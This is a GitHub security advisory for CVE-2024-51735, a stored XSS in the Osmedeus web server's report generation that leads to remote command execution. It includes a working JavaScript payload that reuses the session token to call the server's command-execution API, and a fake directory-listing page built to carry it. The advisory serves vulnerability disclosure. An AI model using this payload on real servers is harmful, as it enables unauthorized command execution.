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Osmedeus Web Server Vulnerable to Stored XSS, Leading to RCE

Critical severity GitHub Reviewed Published Nov 5, 2024 in j3ssie/osmedeus • Updated Nov 5, 2024

Package

gomod github.com/j3ssie/osmedeus (Go)

Affected versions

<= 4.6.4

Patched versions

None

Description

Summary

XSS occurs on the Osmedues web server when viewing results from the workflow, allowing commands to be executed on the server.

Details

When using a workflow that contains the summary module, it generates reports in HTML and Markdown formats. The default report is based on the general-template.md template.

<p align="center">
  <a href="https://www.osmedeus.org"><img alt="Osmedeus" src="https://raw.githubusercontent.com/osmedeus/assets/main/logo-transparent.png" height="140" /></a>
  <br />
  <br />
  <strong>Execute Summary Generated by Osmedeus {{Version}} at <em>{{CurrentDay}}</em></strong>

  <p align="center">
  <a href="https://docs.osmedeus.org/"><img src="https://img.shields.io/badge/Documentation-0078D4?style=for-the-badge&logo=GitBook&logoColor=39ff14&labelColor=black&color=black"></a>
  <a href="https://docs.osmedeus.org/donation/"><img src="https://img.shields.io/badge/Donation-0078D4?style=for-the-badge&logo=GitHub-Sponsors&logoColor=39ff14&labelColor=black&color=black"></a>
  <a href="https://twitter.com/OsmedeusEngine"><img src="https://img.shields.io/badge/%40OsmedeusEngine-0078D4?style=for-the-badge&logo=Twitter&logoColor=39ff14&labelColor=black&color=black"></a>
  </p>
</p>

## Scan Information 

<scanInfo />

***

## 🚀 Subdomains

<content src="{{Output}}/subdomain/final-{{Workspace}}.txt" shorten=true />

***

## 🌐 HTTP Fingerprint

<content src="{{Output}}/fingerprint/beautify-{{Workspace}}-http.txt" />

***

## 🐞 Vulnerability

### List of Vulnerability Reports

- [**{{Workspace}}-report.html**]({{Output}}/vuln/active/{{Workspace}}-report.html)
- [**{{Workspace}}-sensitive.html**]({{Output}}/vuln/sensitive/{{Workspace}}-sensitive.html)
- [**{{Workspace}}-nuclei.html**]({{Output}}/vuln/nuclei/{{Workspace}}-nuclei.html)

### Jaeles Scan

<content src="{{Output}}/vuln/active/jaeles-summary.txt" />

<content src="{{Output}}/vuln/sensitive/jaeles-summary.txt" />

***

### Nuclei Scan

<content src="{{Output}}/vuln/nuclei/{{Workspace}}-nuclei-scan.txt" />

***

## 🕷️ Spider Content

<content src="{{Output}}/linkfinding/links-{{Workspace}}.txt"/>

***

## 📃 Content Discovery

<content src="{{Output}}/directory/unique-beautify-{{Workspace}}.txt" />

***


## 🔍 Port Scan

<content src="{{Output}}/portscan/open-ports.txt" />


***

The contents of the files are read and used to generate the report. However, the file contents are not properly filtered, leading to XSS
The issue starts with processing the tags, and XSS occurs when the extendTag function is called.

https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L36
https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L95
https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L114
https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L122-L124

The condition to enter this if branch must meet one of the following cases:

  • Tag shorten=true: In the default template, only subdomains have this tag ⇒ Subdomains cannot contain special characters, so XSS is not possible.
  • len(fileContent) > r.Opt.MDCodeBlockLimit: Simply put, the content length needs to exceed the MDCodeBlockLimit configuration (default is 10,000).

After reviewing the files loaded in the default template, we select Spider Content because it meets the conditions:

  • It can contain special characters since the spider retrieves results through Katana ⇒ Katana parses content based on tags ⇒ We can create custom payloads by leveraging this mechanism."
 <! -- Fake Index Content --> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="1">1</a></li>
<li><a href="?abc=<script>alert(1)</script>">yxfzssjq_1721182234998.pdf</a></li>
</ul>
<hr>
</body>
</html>
  • Easily bypass the condition len(fileContent) > r.Opt.MDCodeBlockLimit
  • Spider is a module within the general workflow ⇒ a default workflow that is most commonly used

PoC

https://drive.google.com/file/d/1u-YowfzFV1tUqLaZk4s4Y1DykFhJZ8gR/view?usp=sharing

Payload RCE

<script>fetch(window.location.origin+'/api/osmp/execute',{method:'POST',body:JSON.stringify({command:'echo 1 >/tmp/js.txt',password:''}),headers:{Authorization:'Osmedeus '+localStorage.jwt,'Content-Type':'application/json'}});</script>

File index payload


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="1">1</a></li>
<li><a href="675559605-1278d133b090b74129f65f6d108d2c83.pdf">675559605-1278d133b090b74129f65f6d108d2c83.pdf</a></li>
<li><a href="959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe">959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe</a></li>
<li><a href="%5BMS-DOCX%5D-240416.docx">[MS-DOCX]-240416.docx</a></li>
<li><a href="AnyDesk.exe">AnyDesk.exe</a></li>
<li><a href="Attachment.zip">Attachment.zip</a></li>
<li><a href="barker.tar">barker.tar</a></li>
<li><a href="c1awptpm_1721182413858.pdf">c1awptpm_1721182413858.pdf</a></li>
<li><a href="cacert.der">cacert.der</a></li>
<li><a href="caido-desktop-logs-1729480323.zip">caido-desktop-logs-1729480323.zip</a></li>
<li><a href="caido-desktop-v0.41.0-win-x86_64.exe">caido-desktop-v0.41.0-win-x86_64.exe</a></li>
<li><a href="caido-desktop-v0.42.0-win-x86_64.exe">caido-desktop-v0.42.0-win-x86_64.exe</a></li>
<li><a href="cdd">cdd</a></li>
<li><a href="CentOS-7-live-GNOME-x86_64.iso">CentOS-7-live-GNOME-x86_64.iso</a></li>
<li><a href="chrome-integrate.zip">chrome-integrate.zip</a></li>
<li><a href="ChromeSetup.exe">ChromeSetup.exe</a></li>
<li><a href="Code_of_Conduct_Company_All-Consultants_v23_2023.01.12.pdf">Code_of_Conduct_Company_All-Consultants_v23_2023.01.12.pdf</a></li>
<li><a href="CxSAST.950.Release.Setup_9.5.0.100.7z">CxSAST.950.Release.Setup_9.5.0.100.7z</a></li>
<li><a href="C%C3%81C%20QUY%20%C4%90%E1%BB%8ANH%20%26%20TI%C3%8AU%20CHU%E1%BA%A8N%20C%E1%BA%A6N%20BI%E1%BA%BET%20CHO%20DOANH%20NGHI%E1%BB%86P%20NH%E1%BB%B0A%20XU%E1%BA%A4T%20KH%E1%BA%A8U%20V%C3%80O%20EU.pdf">CÁC QUY ĐỊNH &amp; TIÊU CHUẨN CẦN BIẾT CHO DOANH NGHIỆP NHỰA XUẤT KHẨU VÀO EU.pdf</a></li>
<li><a href="Danh%20sach%20may%20chu%20T18.xlsx">Danh sach may chu T18.xlsx</a></li>
<li><a href="de4dot-net45.zip">de4dot-net45.zip</a></li>
<li><a href="de4dot-netcoreapp3.1.zip">de4dot-netcoreapp3.1.zip</a></li>
<li><a href="desktop.ini">desktop.ini</a></li>
<li><a href="disk-1.KkwpoIcO.vmdk.part">disk-1.KkwpoIcO.vmdk.part</a></li>
<li><a href="disk-1.vmdk">disk-1.vmdk</a></li>
<li><a href="dist.zip">dist.zip</a></li>
<li><a href="dnSpy-net-win64.zip">dnSpy-net-win64.zip</a></li>
<li><a href="doc.9.1.0.rar">doc.9.1.0.rar</a></li>
<li><a href="download">download</a></li>
<li><a href="Earned_Achievements_2024-09-16.pdf">Earned_Achievements_2024-09-16.pdf</a></li>
<li><a href="Eazfuscator.NET%202024.1%20Setup.msi">Eazfuscator.NET 2024.1 Setup.msi</a></li>
<li><a href="flare-ida-master.zip">flare-ida-master.zip</a></li>
<li><a href="gitlab-recovery-codes.txt">gitlab-recovery-codes.txt</a></li>
<li><a href="Hacking%20Rust.pdf">Hacking Rust.pdf</a></li>
<li><a href="Huong%20dan%20cai%20dat%20Oracle%20New.docx">Huong dan cai dat Oracle New.docx</a></li>
<li><a href="ida83_sdk_tools_v2.zip">ida83_sdk_tools_v2.zip</a></li>
<li><a href="ida84_sdk_tools.zip">ida84_sdk_tools.zip</a></li>
<li><a href="IDARustDemangler.py">IDARustDemangler.py</a></li>
<li><a href="idb2pat.py">idb2pat.py</a></li>
<li><a href="incident-notification_26.03.2024-2.pdf">incident-notification_26.03.2024-2.pdf</a></li>
<li><a href="ironword.2024.8.3.nupkg">ironword.2024.8.3.nupkg</a></li>
<li><a href="KCSC_Recruitment.pdf">KCSC_Recruitment.pdf</a></li>
<li><a href="K%E1%BA%BF%20ho%E1%BA%A1ch%20%C4%91%C3%A0o%20t%E1%BA%A1o%2005102023%20%282%29.xlsx">Kế hoạch đào tạo 05102023 (2).xlsx</a></li>
<li><a href="linkfinder.json">linkfinder.json</a></li>
<li><a href="Margherita%20Report%20Demo_report.pdf">Margherita Report Demo_report.pdf</a></li>
<li><a href="Mastering_Malware_Analysis.pdf">Mastering_Malware_Analysis.pdf</a></li>
<li><a href="M%E1%BA%ABu-Danh%20sach%20Quan%20ly%20Backup-CS_v1.xlsx">Mẫu-Danh sach Quan ly Backup-CS_v1.xlsx</a></li>
<li><a href="node-v20.17.0-x64.msi">node-v20.17.0-x64.msi</a></li>
<li><a href="OpenJDK21U-jdk_x64_windows_hotspot_21.0.4_7.zip">OpenJDK21U-jdk_x64_windows_hotspot_21.0.4_7.zip</a></li>
<li><a href="OSED%20Notes%20Study%20Overview%20by%20Joas%20Antonio.pdf">OSED Notes Study Overview by Joas Antonio.pdf</a></li>
<li><a href="PAKD%20paytech.xlsx">PAKD paytech.xlsx</a></li>
<li><a href="password">password</a></li>
<li><a href="patriotctf.rar">patriotctf.rar</a></li>
<li><a href="pestudio-9.59.zip">pestudio-9.59.zip</a></li>
<li><a href="photo_2023-01-04_09-04-52.jpg">photo_2023-01-04_09-04-52.jpg</a></li>
<li><a href="photo_2023-01-04_09-04-55%20%282%29.jpg">photo_2023-01-04_09-04-55 (2).jpg</a></li>
<li><a href="photo_2023-01-04_09-04-55.jpg">photo_2023-01-04_09-04-55.jpg</a></li>
<li><a href="photo_2024-09-27_09-47-55.jpg">photo_2024-09-27_09-47-55.jpg</a></li>
<li><a href="Ph%E1%BB%A5%20l%E1%BB%A5c%205.xlsx">Phụ lục 5.xlsx</a></li>
<li><a href="plugin.zip">plugin.zip</a></li>
<li><a href="processhacker-2.39-setup.exe">processhacker-2.39-setup.exe</a></li>
<li><a href="publications.pdf">publications.pdf</a></li>
<li><a href="pwnfox.json">pwnfox.json</a></li>
<li><a href="pykd_ext_2.0.0.25.zip">pykd_ext_2.0.0.25.zip</a></li>
<li><a href="rp-win.zip">rp-win.zip</a></li>
<li><a href="rs.zip">rs.zip</a></li>
<li><a href="rustup-init.exe">rustup-init.exe</a></li>
<li><a href="setup.exe">setup.exe</a></li>
<li><a href="Single%20Page%20Applications%20with%20Vue.js.rar">Single Page Applications with Vue.js.rar</a></li>
<li><a href="Skilled_Person_Registration_Template_2pWPpnl.xlsx">Skilled_Person_Registration_Template_2pWPpnl.xlsx</a></li>
<li><a href="snapshot_2024-10-03_12-14.zip">snapshot_2024-10-03_12-14.zip</a></li>
<li><a href="spire.doc.12.7.3.nupkg">spire.doc.12.7.3.nupkg</a></li>
<li><a href="spire.doc.9.1.0.nupkg">spire.doc.9.1.0.nupkg</a></li>
<li><a href="spire.doc.cpp.11.4.5.nupkg">spire.doc.cpp.11.4.5.nupkg</a></li>
<li><a href="sticker.webm">sticker.webm</a></li>
<li><a href="Telegram%20Desktop/">Telegram Desktop/</a></li>
<li><a href="test">test</a></li>
<li><a href="test.php">test.php</a></li>
<li><a href="test2">test2</a></li>
<li><a href="test1.php">test1.php</a></li>
<li><a href="test2.php">test2.php</a></li>
<li><a href="test3.php">test3.php</a></li>
<li><a href="test4.php">test4.php</a></li>
<li><a href="test5.php">test5.php</a></li>
<li><a href="test6.php">test6.php</a></li>
<li><a href="test7.php">test7.php</a></li>
<li><a href="test8.php">test8.php</a></li>
<li><a href="test9.php">test9.php</a></li>
<li><a href="test10.php">test10.php</a></li>
<li><a href="test11.php">test11.php</a></li>
<li><a href="test12.php">test12.php</a></li>
<li><a href="test13.php">test13.php</a></li>
<li><a href="test14.php">test14.php</a></li>
<li><a href="test15.php">test15.php</a></li>
<li><a href="test16.php">test16.php</a></li>
<li><a href="test17.php">test17.php</a></li>
<li><a href="test18.php">test18.php</a></li>
<li><a href="test19.php">test19.php</a></li>
<li><a href="test20.php">test20.php</a></li>
<li><a href="test21.php">test21.php</a></li>
<li><a href="test22.php">test22.php</a></li>
<li><a href="test23.php">test23.php</a></li>
<li><a href="test24.php">test24.php</a></li>
<li><a href="test25.php">test25.php</a></li>
<li><a href="test26.php">test26.php</a></li>
<li><a href="test27.php">test27.php</a></li>
<li><a href="test28.php">test28.php</a></li>
<li><a href="test29.php">test29.php</a></li>
<li><a href="test30.php">test30.php</a></li>
<li><a href="test31.php">test31.php</a></li>
<li><a href="test32.php">test32.php</a></li>
<li><a href="test33.php">test33.php</a></li>
<li><a href="test34.php">test34.php</a></li>
<li><a href="test35.php">test35.php</a></li>
<li><a href="test36.php">test36.php</a></li>
<li><a href="test37.php">test37.php</a></li>
<li><a href="test38.php">test38.php</a></li>
<li><a href="test39.php">test39.php</a></li>
<li><a href="test40.php">test40.php</a></li>
<li><a href="test41.php">test41.php</a></li>
<li><a href="test42.php">test42.php</a></li>
<li><a href="test43.php">test43.php</a></li>
<li><a href="test44.php">test44.php</a></li>
<li><a href="test45.php">test45.php</a></li>
<li><a href="test46.php">test46.php</a></li>
<li><a href="test47.php">test47.php</a></li>
<li><a href="test48.php">test48.php</a></li>
<li><a href="test49.php">test49.php</a></li>
<li><a href="test50.php">test50.php</a></li>
<li><a href="test51.php">test51.php</a></li>
<li><a href="test52.php">test52.php</a></li>
<li><a href="test53.php">test53.php</a></li>
<li><a href="test54.php">test54.php</a></li>
<li><a href="test55.php">test55.php</a></li>
<li><a href="test56.php">test56.php</a></li>
<li><a href="test57.php">test57.php</a></li>
<li><a href="test58.php">test58.php</a></li>
<li><a href="test59.php">test59.php</a></li>
<li><a href="test60.php">test60.php</a></li>
<li><a href="test61.php">test61.php</a></li>
<li><a href="test62.php">test62.php</a></li>
<li><a href="test63.php">test63.php</a></li>
<li><a href="test64.php">test64.php</a></li>
<li><a href="test65.php">test65.php</a></li>
<li><a href="test66.php">test66.php</a></li>
<li><a href="test67.php">test67.php</a></li>
<li><a href="test68.php">test68.php</a></li>
<li><a href="test69.php">test69.php</a></li>
<li><a href="test70.php">test70.php</a></li>
<li><a href="test71.php">test71.php</a></li>
<li><a href="test72.php">test72.php</a></li>
<li><a href="test73.php">test73.php</a></li>
<li><a href="test74.php">test74.php</a></li>
<li><a href="test75.php">test75.php</a></li>
<li><a href="test76.php">test76.php</a></li>
<li><a href="test77.php">test77.php</a></li>
<li><a href="test78.php">test78.php</a></li>
<li><a href="test79.php">test79.php</a></li>
<li><a href="test80.php">test80.php</a></li>
<li><a href="test81.php">test81.php</a></li>
<li><a href="test82.php">test82.php</a></li>
<li><a href="test83.php">test83.php</a></li>
<li><a href="test84.php">test84.php</a></li>
<li><a href="test85.php">test85.php</a></li>
<li><a href="test86.php">test86.php</a></li>
<li><a href="test87.php">test87.php</a></li>
<li><a href="test88.php">test88.php</a></li>
<li><a href="test89.php">test89.php</a></li>
<li><a href="test90.php">test90.php</a></li>
<li><a href="test91.php">test91.php</a></li>
<li><a href="test92.php">test92.php</a></li>
<li><a href="test93.php">test93.php</a></li>
<li><a href="test94.php">test94.php</a></li>
<li><a href="test95.php">test95.php</a></li>
<li><a href="test96.php">test96.php</a></li>
<li><a href="test97.php">test97.php</a></li>
<li><a href="test98.php">test98.php</a></li>
<li><a href="test99.php">test99.php</a></li>
<li><a href="test100.php">test100.php</a></li>
<li><a href="test101.php">test101.php</a></li>
<li><a href="test102.php">test102.php</a></li>
<li><a href="test103.php">test103.php</a></li>
<li><a href="test104.php">test104.php</a></li>
<li><a href="test105.php">test105.php</a></li>
<li><a href="test106.php">test106.php</a></li>
<li><a href="test107.php">test107.php</a></li>
<li><a href="test108.php">test108.php</a></li>
<li><a href="test109.php">test109.php</a></li>
<li><a href="test110.php">test110.php</a></li>
<li><a href="test111.php">test111.php</a></li>
<li><a href="test112.php">test112.php</a></li>
<li><a href="test113.php">test113.php</a></li>
<li><a href="test114.php">test114.php</a></li>
<li><a href="test115.php">test115.php</a></li>
<li><a href="test116.php">test116.php</a></li>
<li><a href="test117.php">test117.php</a></li>
<li><a href="test118.php">test118.php</a></li>
<li><a href="test119.php">test119.php</a></li>
<li><a href="test120.php">test120.php</a></li>
<li><a href="test121.php">test121.php</a></li>
<li><a href="test122.php">test122.php</a></li>
<li><a href="test123.php">test123.php</a></li>
<li><a href="test124.php">test124.php</a></li>
<li><a href="test125.php">test125.php</a></li>
<li><a href="test126.php">test126.php</a></li>
<li><a href="test127.php">test127.php</a></li>
<li><a href="test128.php">test128.php</a></li>
<li><a href="test129.php">test129.php</a></li>
<li><a href="test130.php">test130.php</a></li>
<li><a href="test131.php">test131.php</a></li>
<li><a href="test132.php">test132.php</a></li>
<li><a href="test133.php">test133.php</a></li>
<li><a href="test134.php">test134.php</a></li>
<li><a href="test135.php">test135.php</a></li>
<li><a href="test136.php">test136.php</a></li>
<li><a href="test137.php">test137.php</a></li>
<li><a href="test138.php">test138.php</a></li>
<li><a href="test139.php">test139.php</a></li>
<li><a href="test140.php">test140.php</a></li>
<li><a href="test141.php">test141.php</a></li>
<li><a href="test142.php">test142.php</a></li>
<li><a href="test143.php">test143.php</a></li>
<li><a href="test144.php">test144.php</a></li>
<li><a href="test145.php">test145.php</a></li>
<li><a href="test146.php">test146.php</a></li>
<li><a href="test147.php">test147.php</a></li>
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<li><a href="The.IDA.Pro.Book.2nd.Edition.Jun.2011.pdf">The.IDA.Pro.Book.2nd.Edition.Jun.2011.pdf</a></li>
<li><a href="ThuHo.rar">ThuHo.rar</a></li>
<li><a href="Vue.js%20Master%20Class%202024%20Edition.rar">Vue.js Master Class 2024 Edition.rar</a></li>
<li><a href="VueSchool%20-%20The%20Vue.js%203%20Masterclass%20%282024-4%29.rar">VueSchool - The Vue.js 3 Masterclass (2024-4).rar</a></li>
<li><a href="Vueschool_The_Vue.js_3_Masterclass_2021-11_Downloadly.ir/">Vueschool_The_Vue.js_3_Masterclass_2021-11_Downloadly.ir/</a></li>
<li><a href="Vueschool_The_Vue.js_3_Masterclass_2021-11_Downloadly.ir.part1.rar">Vueschool_The_Vue.js_3_Masterclass_2021-11_Downloadly.ir.part1.rar</a></li>
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<li><a href="win%20server%202016%281%29.ovf">win server 2016(1).ovf</a></li>
<li><a href="win%20server%202016.ovf">win server 2016.ovf</a></li>
<li><a href="?abc=<script>fetch(window.location.origin+'/api/osmp/execute',{method:'POST',body:JSON.stringify({command:'echo 1 >/tmp/js.txt',password:''}),headers:{Authorization:'Osmedeus '+localStorage.jwt,'Content-Type':'application/json'}});</script>">yxfzssjq_1721182234998.pdf</a></li>
</ul>
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Impact

Execute command on server

References

@j3ssie j3ssie published to j3ssie/osmedeus Nov 5, 2024
Published to the GitHub Advisory Database Nov 5, 2024
Reviewed Nov 5, 2024
Published by the National Vulnerability Database Nov 5, 2024
Last updated Nov 5, 2024

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N

Weaknesses

CVE ID

CVE-2024-51735

GHSA ID

GHSA-wvv7-wm5v-w2gv

Source code

Credits

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